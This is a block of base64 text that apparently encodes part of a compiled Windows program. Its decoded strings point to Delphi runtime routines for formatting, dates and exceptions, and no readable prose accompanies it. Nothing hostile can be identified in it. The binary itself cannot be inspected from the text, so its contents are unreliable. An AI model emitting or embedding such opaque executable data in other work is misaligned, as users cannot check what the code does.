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
//9D6zCKRB7/LFl0BCwgdQ6Lx7pAkkAA6Iml///rFo1F8IpUHv/ov6T//4tV8IvH6HGl//9D
i8boYaX//zvYD44W////M8BaWVlkiRBo7ZFAAI1F8LoEAAAA6Aej///D6XWd///r619eW4vl
XcP/////AQAAADEAAABnZwAA/////wMAAABnZ2cAeXl5eQAAAAD/////BAAAAGVlZWUAAAAA
eXkAAP////8CAAAAZWUAAP////8BAAAAZQAAAIXAdAUtABAAAMOLwFWL7IHEqPv//1NWV4lN
/Ivai/BqHI2F0Pz//1BT6JrK//+BveD8//8AEAAAdRxoBQEAAI2F7v3//1CLhdT8//9Q6G7J
//+FwHUjaAUBAACNhe79//9QodTkQQBQ6FPJ//+Lw+iM////iUX46wkrndT8//+JXfiNhe79
//+yXOgtDAAAi9BCjYXz/v//uQQBAADoouL//7vQk0AAv9CTQACLxosV9GFAAOhDmf//hMB0
IYtGBOjfpf//i9iLw+gi4v//hcB0DIB8A/8udAW/1JNAAGgAAQAAjYXu/P//UKF43EEAi0AE
UKHU5EEA6Pey//9Q6B3L//+Nlaj7//+LBugImP//jYWo+///iYWo/P//xoWs/P//BI2F8/7/
/4mFsPz//8aFtPz//waLRfiJhbj8///Ghbz8//8FiZ3A/P//xoXE/P//Bom9yPz//8aFzPz/
/waNhaj8//9QagSNje78//+LVQiLRfzoOuf//4tF/Ohu4f//X15bi+VdwgQAAAAAAAAuAAAA
gcTA+///aAAEAACNTCRE6GT+//+hGNxBAIA4AHQajVQkQKEw20EA6Ii+///oBr7//+hOkv//
6zZqQI1EJARQoQzbQQCLQARQodTkQQDoDrL//1DoNMr//2gQIAAAjUQkBFCNRCRIUGoA6CbK
//+BxEAEAADDjUAAU1ZXhNJ0CIPE8Oh9mP//i/GL2ov4jUcEi9boraD//4vHhNt0D+i6mP//
ZI8FAAAAAIPEDIvHX15bw4vAVYvsagBTVleE0nQIg8Tw6DyY//+L8Yvai/gzwFVo5pRAAGT/
MGSJII1F/FCLVQyLTQiLxuhn5v//i1X8jUcE6Eyg//8zwFpZWWSJEGjtlEAAjUX86OOf///D
6XWa///r8IvHhNt0D+g8mP//ZI8FAAAAAIPEDIvHX15bWV3CCABTVleE0nQIg8Tw6MGX//+L
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
M/brJYpENQaKXDUHKthyFkOIBCSKBCQl/wAAAA+rB/4EJP7Lde6DxgKD/gx9CopENQYKRDUH
dcyDxBhdX15bw4vAVYvsuQgAAABqAGoASXX5UzPAVWjrokAAZP8wZIkg6CX////oVO3//4A9
sOVBAAB0Bege7///6Nm7//+L2I1F8FAzyboUAAAAi8Pofez//4tV8Ljo5EEA6KCU//+NRexQ
uQCjQAC6GwAAAIvD6Fvs//+LRewz0ui9z///ouzkQQCNRehQuQCjQAC6HAAAAIvD6Dfs//+L
Regz0uiZz///ou3kQQCxLLoPAAAAi8PoZuz//6Lu5EEAsS66DgAAAIvD6FPs//+i7+RBAI1F
5FC5AKNAALoZAAAAi8Po7ev//4tF5DPS6E/P//+i8ORBALEvuh0AAACLw+gc7P//ovHkQQCN
RdxQuQyjQAC6HwAAAIvD6Lbr//+LRdyNVeDo4+7//4tV4Lj05EEA6M6T//+NRdRQuRyjQAC6
IAAAAIvD6Inr//+LRdSNVdjotu7//4tV2Lj45EEA6KGT//+xOroeAAAAi8Por+v//6L85EEA
jUXQULk0o0AAuigAAACLw+hJ6///i1XQuADlQQDobJP//41FzFC5QKNAALopAAAAi8PoJ+v/
/4tVzLgE5UEA6EqT//+NRfjo7pL//41F9Ojmkv//jUXIULkAo0AAuiUAAACLw+j16v//i0XI
M9LoV87//4XAdQ+NRfy6TKNAAOhOk///6w2NRfy6WKNAAOg/k///jUXEULkAo0AAuiMAAACL
w+i26v//i0XEM9LoGM7//4XAdT+NRcBQuQCjQAC6BRAAAIvD6JPq//+LRcAz0uj1zf//hcB1
D41F9Lpko0AA6OyS///rDY1F+Lp0o0AA6N2S////dfj/dfxohKNAAP919LgI5UEAugQAAADo
RJX///91+P91/GiQo0AA/3X0uAzlQQC6BAAAAOgnlf//sSy6DAAAAIvD6G3q//+i7OVBADPA
WllZZIkQaPKiQACNRcC6EAAAAOgCkv//w+lwjP//6+tbi+VdwwD/////AQAAADAAAAD/////
BgAAAG0vZC95eQAA/////wwAAABtbW1tIGQsIHl5eXkAAAAA/////wIAAABhbQAA/////wIA
AABwbQAA/////wEAAABoAAAA/////wIAAABoaAAA/////wUAAAAgQU1QTQAAAP////8FAAAA
QU1QTSAAAAD/////AwAAADptbQD/////BgAAADptbTpzcwAAVYvsg8TsUzPAiUXsM8BVaCKk
